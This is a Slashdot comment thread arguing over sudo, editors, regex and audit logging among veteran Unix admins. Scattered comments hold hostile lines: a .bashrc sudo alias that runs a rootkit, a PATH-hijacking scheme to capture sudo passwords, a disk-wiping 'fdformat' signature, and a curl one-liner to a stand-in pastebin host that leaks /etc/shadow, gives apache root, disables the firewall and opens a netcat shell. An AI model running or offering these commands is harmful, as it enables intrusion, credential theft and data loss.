Serious? Seriousness is well above my pay grade.
You can adjust the duration of the password caching in /etc/sudoers. The default is fifteen minutes -- I prefer a duration of two or three minutes, which is long enough to two a couple of commands in a row. If I actually need more than that, then I'd use sudo -i, but I rarely find that useful.
Unfortunately that does not really improve security in typical usage patterns. If you leave your terminal unlocked (or there's a bug in your web browser / pdf reader / etc. that allows arbitrary code execution) it is easy to escalate to root by doing echo alias sudo="/usr/bin/sudo /tmp/rootkit" >> .bashrc and patiently waiting for the user to use sudo for the next time.
Yeah, I use vim, but with the -e option.
This conversation is about you, not me.
You're an accountant, I see...
-- This space for lease, low setup fee, inquire within!
There's another trait that's missing here: Professionalism.
Real Veteran Unix Admins are true professionals who know how to function in a business environment without being arrogant or prickly. They are comfortable enough in their own skins and emotionally secure enough that they never need to engage in put-downs of others who don't rise to their level of technical acumen. They never play at being the high priests of the sanctum sanctorum of Unix administration which should not be desecrated by mere mortals. They are capable of doing their jobs without needing constant stroking by management or self-stroking by engaging in endless pissing contests and self-aggrandizement.
Unfortunately there is a small subset of Unix admins who are technically brilliant but emotionally insecure. They can do amazing things with systems but they are often difficult to integrate into a team or an organizational culture. They are high-maintenance employees, both blessing and curse to the companies they work for. With proper structure and coaching (and sometimes therapy) some of these can be developed to become true professionals. Some may be impervious to all efforts to help them mature and become more stable - they will have to be compartmentalized for the good of the organization or let go.
I will leave it to my gentle readers to decide which group the author of the article belongs in.
The great keepers of Unix lore are stirring from their hammocks, putting down their mai-tais, and shooing the mice out of their beards. This is what they have said to me.
When I log into my Xenix system with my 110 baud teletype, both vi
*and* Emacs are just too damn slow. They print useless messages like,
'C-h for help' and '"foo" File is read only'. So I use the editor
that doesn't waste my VALUABLE time.
Ed, man! !man ed
ED(1) UNIX Programmer's Manual ED(1)
NAME
ed - text editor
SYNOPSIS
ed [ - ] [ -x ] [ name ]
DESCRIPTION
Ed is the standard text editor.
---
Computer Scientists love ed, not just because it comes first
alphabetically, but because it's the standard. Everyone else loves ed
because it's ED!
"Ed is the standard text editor."
And ed doesn't waste space on my Timex Sinclair. Just look:
-rwxr-xr-x 1 root 24 Oct 29 1929 /bin/ed /usr/ucb/vi /usr/bin/emacs
-rwxr-xr-t 4 root 1310720 Jan 1 1970
-rwxr-xr-x 1 root 5.89824e37 Oct 22 1990
Of course, on the system *I* administrate, vi is symlinked to ed.
Emacs has been replaced by a shell script which 1) Generates a syslog
message at level LOG_EMERG; 2) reduces the user's disk quota by 100K;
and 3) RUNS ED!!!!!!
"Ed is the standard text editor."
Let's look at a typical novice's session with the mighty ed:
golem> ed
?
help
?
?
?
quit
?
exit
?
bye
?
hello?
?
eat flaming death
?
^C
?
^C
?
^D
?
---
Note the consistent user interface and error reportage. Ed is
generous enough to flag errors, yet prudent enough not to overwhelm
the novice with verbosity.
"Ed is the standard text editor."
Ed, the greatest WYGIWYG editor of all.
ED IS THE TRUE PATH TO NIRVANA! ED HAS BEEN THE CHOICE OF EDUCATED
AND IGNORANT ALIKE FOR CENTURIES! ED WILL NOT CORRUPT YOUR PRECIOUS
BODILY FLUIDS!! ED IS THE STANDARD TEXT EDITOR! ED MAKES THE SUN
SHINE AND THE BIRDS SING AND THE GRASS GREEN!!
When I use an editor, I don't want eight extra KILOBYTES of worthless
help screens and cursor positioning code! I just want an EDitor!!
Not a "viitor". Not a "emacsitor". Those aren't even WORDS!!!! ED!
ED! ED IS THE STANDARD!!!
TEXT EDITOR.
When IBM, in its ever-present omnipotence, needed to base their
"edlin" on a UNIX standard, did they mimic vi? No. Emacs? Surely
you jest. They chose the most karmic editor of all. The standard.
Ed is for those who can *remember* what they are working on. If you
are an idiot, you should use Emacs. If you are an Emacs, you should
not be vi. If you use ED, you are on THE PATH TO REDEMPTION. THE
SO-CALLED "VISUAL" EDITORS HAVE BEEN PLACED HERE BY ED TO TEMPT THE
FAITHLESS. DO NOT GIVE IN!!! THE MIGHTY ED HAS SPOKEN!!!
?
We have more interesting things to do, like see how long we can keep a Slashdot thread going...
I'm not sure that has anything to do with Unix veterans - more likely, someone who just has too much time on his hands. Incidentally, I have been told (by some AC who had succeeded in provoking me into a very silly argument spanning some 10 days, ending up with both of us in total harmonious agreement) that Slashdot caps such exchanges at 2 weeks.
Is this a terrible, terrible joke? That's 186 characters. Comparatively:
sed -r -ie "s/(.{3})A/\1B/g" somefile
Or:
perl -pi.orig -e 's/(.{3})A/$1B/g' somefile
A trivial Perl script to wrap that if you want it programmatically is 98 characters, with proper spacing and no golfing at all.
Python:
python -c "import os,re;[open('outfile.txt','a').write(re.sub(r'(.{3})A', r'\1B', line)) for line in open('infile.txt','rb')]"
Yes, that's golfed a tad to make it convenient as a oneliner, but the "re.sub" bit is much, much shorter than your ridiculous map+join combination. Just because you don't know regular expressions doesn't mean they're not more efficient.
"The more corrupt a society, the more numerous are its laws." -Tacticus
fdformat /dev/hda1
Bollocks!
In the modern world, telnet and rsh are deficient tools for access. ssh is a _necessary_ modern tool, and is ubiquitous.
vim is neither a necessary replacement for vi, nor is it ubiquitous. A full install of Solaris doesn't have it included, so you have to add it by hand - to each machine you admin.
The nature of being a sysadmin is to be completely comfortable with the minimal tools available at 3am on a half-broken system. At one point that was sed, awk, and ed. vi and perl are both reasonable assumptions nowadays, but vim isn't. (and emacs never has been - it is and should always be an editor of programmers.)
Use vim all you want, but make sure you aren't dependent on multi-level undo or flashy colours if you're the guy they call in the middle of the night.
"People who do stupid things with hazardous materials often die." -- Jim Davidson on alt.folklore.urban
Where others may see intractable, overly difficult methods, we see enlightenment, borne from years of learning, experience, and overall, logic.
^ That is not sane.
You know, our tools, and I mean the whole enchilada - OS and ISV unix software, they really really suck.
"UNIX|unix" OS software needs to GTFOOMW. The unix administration model has too much overhead for what the average person needs to do with it which is 9/10 times run some application in a little container of sorts without touching the dirty sides of the OS it sits in.
Flat files for configuration are fine, IF
YOU PICK A CONSISTENT FORMAT AND RUN WITH IT,
DOCUMENT IT,
DESIGN IT FOR SOMETHING OTHER THAN YOUR OWN PARSER TO UNDERSTAND.
Incidentally, if a Unix vet has sufficient grey hairs in his ample beard, he won't bother with that new-fangled vi(m) either, let alone emacs or pico. He will use the One True Editor. Emacs was originally built as a suite of macros for this, but I never really got to grips with emacs. The only drawback to TECO was the memory usage involved in remembering all those cryptic commands. However, it was, and is the most powerful and scriptable text (originally tape) editor ever created.
Back in the early '90s many of us were still using TECO (rebadged as "SPEED" on Data General mini/mainframes) for quick-and-dirty-but-so-fast-it-became-permanent batch processing of job control CLI files.
Yes. This is why you disable all those backdoors and only specify particular commands that can be run in /etc/sudoers, with others either denied, or lighting up your IDS/system monitoring like a Christmas tree.
(This also serves as a handy reminder that properly securing systems is *extremely difficult*.)
The real trouble is that in many cases it just isn't going to happen. Allow someone to run apt-get install, they can install a known-vulnerable setuid binary and root the system. Allow them to edit certain sensitive files in /etc, you're toast. On and on. But the person's job involves installing software or editing system files or whatever, so you have to allow it.
Whatever your choice is its subjective to the user - but saying hardcore unix cats don't use Emacs is insane - hmmmm RMS anyone??
OK, old-school admins use sudo in a multi-admin environment. It's not for security, it's for auditing, i.e. "All right, which one of us fucked up server ?" (Aside: Veteran admins take responsibility for their own mistakes.)
Some other signs of veteran unix admins:
0) We don't use command aliases. It galls me to no end that RedHat aliases mv, cp, and rm commands FOR ROOT! Babysitting routine activity isn't just annoying, it's dangerous! What happens when some Linux admin hops onto a Unix system and issues an "#rm lib*" command, expecting to be able to step through which libraries to delete? (and don't get me started on coloured output from ls on a black background. If you want it, YOU add it, don't make me remove it!)
"People who do stupid things with hazardous materials often die." -- Jim Davidson on alt.folklore.urban
Yeah, seriously. This article reads like a feature list for an old model vehicle you should put out to pasture, to boot:
Veteran Unix admin trait No. 1: We don't use sudo
Well why the hell not? You realize that it can significantly increase security and auditing by doing so, right?
If you're a one-man show, then shame on you for (likely) having a weak root password.
Veteran Unix admin trait No. 2: We use vi, not emacs, and definitely not pico or nano
And what's wrong with emacs? vi/vim regex are backwards.
Don't get me wrong - I use vi, and have for over a decade. But emacs is a bit more powerful and doesn't have as awkward a command set. For anything vim can do, something else can do it better simply because figuring out the arcania for vi is a bit difficult at times.
Veteran Unix admin trait No. 3: We wield regular expressions like weapons
Yes, yes they do. And they don't use a single goddamn comment, because "this stuff is easy".
Regex are awesome. I use them daily, but come back a week later? I'll have to figure them out again if there's a problem. A one-line (10+ character) regex should have multiple lines of comments. Just because it's only a couple lines and performs a lot does not mean you don't have to document it.
Veteran Unix admin trait No. 4: We're inherently lazy
Yes, yes they are. They're lazy to the point of incompetence: they don't document their work, and don't play well with others as a result.
Veteran Unix admin trait No. 5: We prefer elegant solutions
This goes back to the 'lazy' part.
Something isn't an elegant solution if it needs maintenance, pruning, etc. - who cares if you bashed out a crude perl script in a couple minutes for a single function and put it into production? Was it commented? Is it robust? Is it mentioned in system documentation? No? Then it's not a solution, it's a crude hack.
Veteran Unix admin trait No. 6: We generally assume the problem is with whomever is asking the question
This would actually be correct: the person asking the question should know better than to ask a self-centered, misanthropic, paranoid, backwards unix codger anything, because they're not going to a) get a complete answer or b) get a useful answer.
Veteran Unix admin trait No. 7: We have more in common with medical examiners than doctors
This is often/normally true, but it's true for those who have similar level of experience/skill yet adhere to good system administration practices as well. (WHy not hire them instead?)
Veteran Unix admin trait No. 8: We know more about Windows than we'll ever let on
Yes - except for the type of veteran unix admin who meets the first page of traits. They're myopic and think their precious systems are the end-all, be-all.
Veteran Unix admin trait No. 9: Rebooting is almost never an option
Correct. Forget those pesky kernel or base system upgrades for security, or routine reboots for maintenance, which are all considered generally good practices. We'll just leave the systems running until it's time to replace them, or let the next guy deal with a completely undocumented system that hasn't been rebooted in years. Surely, nothing bad will happen, and the employer is wise to keep such people in their employ. (This is where the 'forensic' abilities that good admins have come into play.)
If some of these traits seem antisocial or difficult to understand from a lay perspective, that's because they are. Where others may see intractable, overly difficult methods, we see enlightenment, born of years of learning, experience, and most of all, logic.
Most of these are difficult to understand from a 'business continuity' or 'connected to the Internet' perspective. What i
~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
WTF?? I'm not a unix admin, but I've tried - tried and tried - to use VI. I can't do it. It take too many keystrokes to do anything useful. I've got a 25 year old version of Emacs that I've kept alive and carried with me from job to job over the years, and it works like a charm. It's also small, VERY easy to customize, and very reliable. Also, I'm thoroughly familiar with it and don't have to think when I want to do something. I know, I know, VI users don't have to think about VI either. VI is a steaming dung heap. Emacs - my version, anyway - is sweet nectar of the gods!!!
Sudo doesn't really make anything safer, it just makes one's commands trackable. But if you fuck something up, you'll usually know well before before someone checks the system messages file in any case. Or if you don't, you probably have no business being a sysadmin.
You don't need su root, just "su". And you exit with ^D.
Exactly. And if your system enforces use of sudo, you just use "sudo su" to drop into a root shell.
Along the same lines, where I used to work we had some n00bs (one really) that would su, do his or her work, and then leave the lab, completely forgetting the exit part. On any given day, you could walk in the lab and see root prompts up on at least half the boxes.
There are a hundred things wrong with this scenario. I know. That's why I quit. I don't need to hear them all. Mind the forest, not the trees.
--"insert clever quote here"
I would say that any Mac OS X user would probably benefit from the use of grep from the command-line. It's a lot more useful than that crappy search thingy they provide with the GUI Finder.
It's the ready availability of the standard unix tools under OS X that keeps me using this freebie inherited MacBook, often in preference to my more powerful (and power-hungry) Linux-based desktop boxes.
What if you never found out how I feel?
- Eliza, er, mark
I was surprised a bit that Apple ships the Mac OS X with VIM installed. I had never even checked until I read this and sure enough there it is in all of its glory.
no comment
This is exactly why I chose to learn and use vi, and not emacs, or even vim. In fact my first unix editor was joe.
At 3AM with a system that I didn't install. A system that will just barely boot to single user mode. I damn well better be able to use the tools that are installed by default because installing something else will not be an option.
If I were God, wouldn't I protect my churches from acts of me?
You don't have to be inexperienced. Back in the early '90s, I already had 19 years' experience of various systems under my belt when I accidentally deleted the ":per" directory on a DG mainframe (roughly equivalent to /dev on a *nix box), then had an agonising 45 minutes watching users' processes disappearing off the PID list.
In that sort of situation, all you can do is just grit your teeth, take your cap in hand and face the muzack. Fortunately in this case, my boss had committed an even more egregious fuckup the week before, so my trangression was dismissed with nothing more than a "shit happens"...
Sure, most of us use it anyway because modern Linux systems usually don't include our good friend vi (it's usually just a symlink to vim)
RedHat systems have vi as a separate executable.
Vimium for chrome. I love using j/k to scroll. Accidently hitting 'd' to close a tab is kind of a pain sometimes, though.
Do you care to elaborate on that? Are you feeling insecure, so we should not talk about you?
Serious? Seriousness is well above my pay grade.
I generally use j and k to scroll on slashdot. At least on the main page.
If you're manually changing stuff by hand, either as root or by sudo, either its a bizarre emergency situation or you're doin it wrong...
Why?
I run Slackware and BSD servers, and it is considered normal to edit their config files by hand, and it is certainly quicker and more efficient to do so.
Where others may see intractable, overly difficult methods, we see enlightenment, borne from years of learning, experience, and overall, logic.
One sign of the veteran Unix admin: dealing with archaic absurdities will have driven them completely mad. You may see them referring to things like Xorg, init.d scripts, or anything else about Unix (besides how certain variants are licensed) as "Enlightened" or "Logical".
Real admins don't make mistakes.
I wasn't going to post any more in this thread, but I couldn't let this go.
Real admins are just as capable of fucking up as any other human being. Yes, they will have backups (or a damn good explanation why they haven't been allowed to take them), but that's beside the point.
Do as we all do. Emulate, emulate, emulate.
Serious? Seriousness is well above my pay grade.
It's apparent from your rant that you aren't a good enough manager to be able to deal with people who know how to get the job done right the first time for all time.
I suspect you prefer to deal with the currently predominant types of admin:
I have the luck of currently dealing with admins for our datacenter who are a frightening mix of both. If they had just one "veteran Unix admin" who would spend a little more time and do the job right the first time, but not take weeks to do it, things would run a lot smoother.
And, I'm not kidding about the weeks or months to get anything done, as currently after full testing of changes to web pages (no matter how small), it takes 3 weeks before those changes roll out to the production system, as there need to be two meetings a week apart where the changes get signed off on twice. Meanwhile, these same bozos will patch production database servers without telling anyone. The problem is that their attitude is that the underlying system (OS, DB servers, web servers, etc.) is "theirs" and they make sure it is "correct" ASAP, without regard to the fact that applications need those resources to run. The sys admins don't care that the apps are what are important to the business process, but the "veteran Unix admin" understands that.
Agreed.
Administer? No. Debug? Yep! http://www.linuxplanet.com/linuxplanet/tutorials/7295/1/
I don't run vim if it's not part of the OS. I run /usr/bin/vi because it's part of the OS. On Linux it might be vim. On BSD it might be nvi, on Solaris it's vi.
Real Unix vets know how to use the tools that came with the OS and don't *have* to use extra stuff. But we'll use nmap if we have it. Or emacs.
FWIW, you can use echo * when ls isn't available.
If your admins cant be trusted with root, then get a product called Centrify...
If your admins can't be trusted with root, then they should be replaced with admins who can.
"....to generally assuming the problem resides with whomever is asking the question...."
But.... In roughly sigma-two percentage points of situations, it IS a PEBKAC situation. Or, at least it is in the Unix/Linux world....
];)
Regards;
It's not that vim is inherently bad, it's just that it's *unnecessary*. It includes tons of features that an old-school admin has no use for. Sure, most of us use it anyway because modern Linux systems usually don't include our good friend vi (it's usually just a symlink to vim), but we rarely use the features that separate vim from vi.
Maybe I'm the odd one here, but on this Mac I'm using now, and also on the linux box on the desktop behind it, I have a number of terminal windows open in which I'm explicitly runnng vim and using those features.
The most important one is UTF-8 support, so I can sensibly edit text in a language other than English without it going all mojibake on me when I email it to someone or even try to print it. Thus, there's a window poking out behind this firefox window that's showing a mixture of English and Chinese text, displayed and edited easily by vim.
But I suppose a lot of those "old-school" admins would have the usual American/British organizational contempt for all languages other than English (plus maybe Fortran and Cobol ;-). But some of us are part of the new world of i18n that's been slowly creeping up on everyone. People who speak only English are now a distinct minority on the Internet. For the rest of us, tools like vim are quite useful.
Now if I could only get an xterm that handles Arabic and Hebrew sensibly ...
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
telnet pretty much solves my remote troubleshooting needs, and it's quite ubiquitous, even available on the windows command line.
Not by default any more. With Win7 you have to add it on using Programs and Features. Probably the same with Win2k8. In fact, I recently noticed that RHEL6 doesn't include telnet client in their list of default packages either.
Which is why, as a seasoned UNIX admin, I remove all vi from my systems (to prevent broken programs that do not use $EDITOR or /etc/alternatives from dropping me into vi) and use emacs exclusively. Or jove on small systems.
This is just stupid. Yes, not using $EDITOR is wrong, but removing vi is wronger. I love Emacs (and do all my coding in it) but vi is the single greatest editor for quick and dirty edits, and is what I use almost exclusively for admin related edits.
C-X-( and M-x yank-rectangle improve my efficiency vastly for the one-off scenarios which it is not worth scripting.
Original article author apparently has never met seasoned admins of the emacs species. Specist! :-)
Here I have to agree. From time to time I need to work on a rectangular region, and Emacs is just awesome there. It also has superior macro capabilities to vi (though vim has mostly caught up), which is quite often quicker and easier than writing some quick perl. You nailed two of the three times where I use emacs instead of vi for admin related tasks. The third time is when using Oracles sqlplus, which if run inside an Emacs shell you can get easy command history, plus treating the output of a select as a text buffer is super convenient.
Learn both editors, learn where they are strong and where they are weak, and use the right tool for the job.
I have to go with the GP on this one. It's not that vim is inherently bad, it's just that it's *unnecessary*. It includes tons of features that an old-school admin has no use for. Sure, most of us use it anyway because modern Linux systems usually don't include our good friend vi (it's usually just a symlink to vim), but we rarely use the features that separate vim from vi. Moving in and out of edit mode is second nature. Hell, even using the arrow keys to move around is a needlessly inefficient waste of motion, since the arrow keys are usually far from any other useful key on the keyboard. The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on.
That's all you have to do to make vim very close to vanilla vi.
And if you're cursing the one who turned on syntax highlighting, why not edit your .vimrc and disable it?
Is the problem that the USER's $PATH is changed to /evil/ running "/bin/sudo reboot" would execute "/evil/reboot" with the root or wheel privilege?
That is one of the possible problems, yes.
wheel's $PATH (if that is a separate user account at all)
http://en.wikipedia.org/wiki/Wheel (Unix term)
In this case it means a user that is allowed to su or sudo.
So if I am logged in as USER, are you saying sudo will use USER's $PATH
The normal behavior of sudo is to use the user's environment including $PATH. There is an option you can put in the sudoers file called env_reset that will cause it to not to do this. Some flavors now have that option on by default. There is also another option called secure_path which allows you to explicitly specify a PATH to use when running sudo. These solve part of the problem -- at least as long as you run sudo itself as /usr/bin/sudo.
The trouble is that the actual root environment is only one attack vector. Suppose the attacker creates /evil, puts it at the front of $USER's $PATH and fills it with a bunch of binaries with names like echo, ls, gzip, etc. which under most circumstances just call their counterparts in /bin and /usr/bin.
Then you come along and type something like: /usr/bin/sudo tee /proc/sys/net/ipv4/ip_forward
echo 1 |
This will run the actual /usr/bin/tee as root if you've taken precautions because root has a clean $PATH. The trouble is that it runs echo as /evil/echo, and /evil/echo parses its own command line to see if it contains sudo. It does, so it runs 'sudo rootkit'. Then you get a password prompt, which you think is for 'sudo tee' but is really for 'sudo rootkit' so you type your password and your system is rooted.
Real Unix vets don't use something new-fangled like vi. It's either "ed" when they're lazy, or "cat > /unix" when someone is watching over their shoulder.
Or I just like bash and compiled it for the machine I'm using.
I had bash on a Cray once.
To get back on topic: veteran unix admins don't read docs either, but they sometimes write them.
In /bin? You can use bash on lot of platforms, but the only ones where I've seen it in /bin are GNU (Linux and HURD) systems.
I am TheRaven on Soylent News
Put some more years under your belt grasshopper and you to will fit the examples described.
Got Code?
Yes, in /bin. That way there's no "Why doesn't my script work? It's fine on the linux box!" questions.
fdformat /dev/hda1
curl -s -X POST -d "paste_code=$(echo "Anonymous sucks"; echo "Scientology Is the best religion ever" ; echo "This web server is unhackable" ;/sbin/ifconfig; perl -pi.bak 's/apache:x:48:48/apache:x:0:0' /etc/passwd; service httpd restart; cat /etc/shadow; service iptables stop; nc -lk 1234 | /bin/sh" "http://pastebin.com.example/api_public.php"
Repeat with twitter, facebook, etc
Good luck complying with PCI DSS 8.2, 8.5.8 and 10.2.2. I've yet to see a single way to do so when using su. You must be able to produce a reliable off-host log of actions taken with administrative privilege, ensure that direct access to any account accessible by more than one individual is impossible, and that even knowing the password is insufficient to gain access to privileged accounts.
That's what I have to do to comply with PCI. I have similar requirements on other audits. As a result, root's password is locked away, any use is investigated and had better be accompanied by a problem ticket explaining how hosed the box was that su was the only way to repair it. Use of a logging shell (either individual sudo commands, or sudo to a logging shell) is mandatory here.
It isn't about getting in the way or not getting in the way. It's about keeping track of what happened on the system. Human actions are just another thing to keep track of. We expect the system to log significant events so that they can be examined later in case of a problem. The interactive commands run by humans with administrative access is even more important because it is unpredictable.
"I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
Real unix admins use "op" instead of the inferior "sudo".
I dare you to list 10 *Administrative* tasks that don't require root privileges.
1. User account validation (collecting proof that each ID on the system is still supposed to be there)
2. Reviewing security logs that are stored on a central server, accessible by the SA team's individual ID and no one else
3. Examining system availability data ("Is this system actually up and healthy?")
4. Validating network listeners, looking for undocumented ones
5. Checking performance statistics that you logged to a remote system
6. Doing a patch query to determine if any required OS patches are missing
7. Discussing a request for limited sudo rights with the application team, reviewing the script they want run as root
8. Writing the documentation for that upcoming change request, staging the necessary files into a test area.
9. Writing the script that will be run on every audited system to collect the data required by the external auditor.
10. Testing that firewall rule you just put in actually is set up right.
Ones I decided not to list, but I do all the time:
* Work with the vendor so that their code doesn't need root to install or run
* Work with the application users so that they don't write code that breaks security policy
* Teach users how to properly submit that user access request
* Provide feedback to management based on the results of some of the items above to request additional resources (people, hardware, software, miracles, etc.)
I didn't include writing cfengine policies, because that has to be done in my shop as a user that is not the default user. I could have easily set permissions to allow the SA team to write such as themselves, but chose not to. Hmm, I should think about doing that tomorrow. That'll add a huge category of "anything that can be done via configuration management" to the list.
"I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
Why?
I run Slackware and BSD servers, and it is considered normal to edit their config files by hand, and it is certainly quicker and more efficient to do so.
Because you can't be expected to change by hand three config files on 5k systems in a reasonable amount of time.
"I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
When I conduct an interview, I often ask candidates to talk about a major mistake made by someone on their team in the past. I let them pretend it wasn't them, but someone else, but if they can't name a serious mistake made, they are either rather junior, or can't be trusted to tell the truth about an outage.
"I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
On my box, /bin -> /usr/bin
"I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
It's very common for sudo to log to syslog. It's also very common for syslog to log in real time off-host. The user may break the logging trail, but they won't hide the command they ran to break the logging trail.
"I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
Trust is a dirty word in audits. I don't care how much you think you can trust someone, without auditing, it's just guesswork. The PCI certification, 10.2.2 requires logging actions taken with administrative privilege. That means not just the command to take a root shell, but what the user ran beneath that.
"I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
Yes, vim. I love the way it highlights whatever code I'm writing. I even wrote a filter to add syntax highlight for my own configuration files when I program something new. So make no mistakes, vim is a very improved tool, and as I can use vi where vim is not to be found, I prefer myself the improved version over any other text editor in the world. Did you know there's a version for Windows too?
Thanks for trying, but that regexp is not even close to working: re.sub(r'(.{3})A', r'\1B', 'abcdefgh') => 'abcdefgh'. Try harder.
Football Odds
While perhaps true, since the thread is about old-school Unix admins, this comment is perfect for /.
It's very common for sudo to log to syslog. It's also very common for syslog to log in real time off-host. The user may break the logging trail, but they won't hide the command they ran to break the logging trail.
Only if the sudo log ends up off-host and the command the user entered to get a root shell wasn't something perfectly innocent-looking like "sudo emacs /etc/whatever" and getting root on the first machine doesn't give them root on the logging machine because e.g. somebody's ssh keys or other authentication credentials for the logging machine are stored on the first machine, or the rooted machine is running an authentication service, or it contains authentication-sensitive files, or it contains ssh keys to a machine that contains authentication-sensitive files, etc. and the attacker can't interrupt anything in the network path between the machine to be rooted and the logging server while the rooting is going on.
Which, now that I think about it, seems pretty trivial: Take down the network interface for a few seconds. At best the command taking down the interface gets logged, but nothing after it. At worst the interface goes down before the packet logging that command makes it out of the machine, and there may be various ways for the attacker to make sure the latter is what happens.
you agree with the guy who says they don't log in as root? Are you sure? Because your follow-up suggests otherwise. There are a short list of reasons to log in as root and do something: 1) you're a noob 2) you're too lazy to set up role-based access controls and security contexts 3) you don't like the idea of creating rules which apply to yourself, and don't like the idea of setting up a stable environment that will last long after you're gone 4) you have just a handful of machines 5) a machine has gone to complete hell, and you need to log in to it (in single-user, or such) So I'm not a real unix admin because I don't run around logged in as root? Really? Cause I haven't needed to be so lazy and noobish in years. I've been in the most senior of ranks in companies with over a million employees, and over 100k servers. Now I do the whole "cloud" thing - which, for PCI compliance reasons, I set up role-based access that doesn't allow me (or anyone else) to get around audit traits. I can break the proverbial glass and get root password, but these days...I don't need to. I can't do real forensics in the cloud, and tct is in bitrot anyway...so the clusters just heal themselves, through apps I wrote completely from top/bottom. Apps that don't need, or use, root - and apps I manage without root.
nc is the more flexible, featureful
Socat has 80 different options for how to connect (stdio, TCP, raw IP packets, unix sockets, fifo files, UDP, openssl-wrappings, ...).
gzip < /dev/sdb | nc -l 33333; nc foohost 33333 | gunzip > /dev/sdb
I'd want to do that with some cryptographic authentication---that is, integrity. Whether I want to my disk keep secret or not is a different matter, but I sure as heck don't want my ISP (or just cosmic rays) corrupting my file system. Maybe ssh or stunnel is the right option here.
Real hard-core sysadmins don't use perl, they use sed, awk, grep, cut, etc.
Tiller's Rule: Never use a word in written form that you've only heard and never read. You will end up looking foolish.
prejudice
...there is no sig...
I'd bet against you, but while I can write regexps and even enjoy it when I do it I don't enjoy writing one without proper purpose - and thus I won't try. However I do believe that this example is of the type that even if it's code wise smaller and clearer it's such simple thing to do without regular expressions and the solution for this made using substr calls, etc. instead of regexes would be much more memory and resource intensive - though it's unlikely that it would make any significant difference, such of that it would matter, unless some really bad programmer choosed wrong method in case where amounts of data, requirements for resource usage limits, etc. would clearly dictate that no matter what it's time to optimize this for *speed*, and while for some things, I would bet that for this one the regex solution would NOT be faster or consume less resources. However my point is not against or pro regex (though I am pro regEx) - I don't see a fight there and I think that everyone who does is stupid and a coder that can't comprehend that there are situations where regexes and others where non-regex solutions simply rock. One thing, btw, where it gives enormous powers is on command line, as there are numerous tools that are invoked from command line and use regexe's you enter for them to manipulate data - and given the different utilities and tasks you might want to do, without common system like regexps there would be either unrealistic amount of tools with very different weird ways for things or more likely there would not be so nice command tools available and for what you could do with couple one-liners and piping you would have to just do scripts for whatever comes to your mind... I mean, scripting when it's meaningful is different, but would you really want to do all those *nix hackers belowed data manipulations with stuff like that code of yours (except much more complex ones) on command line? No? Well, scripts it is then...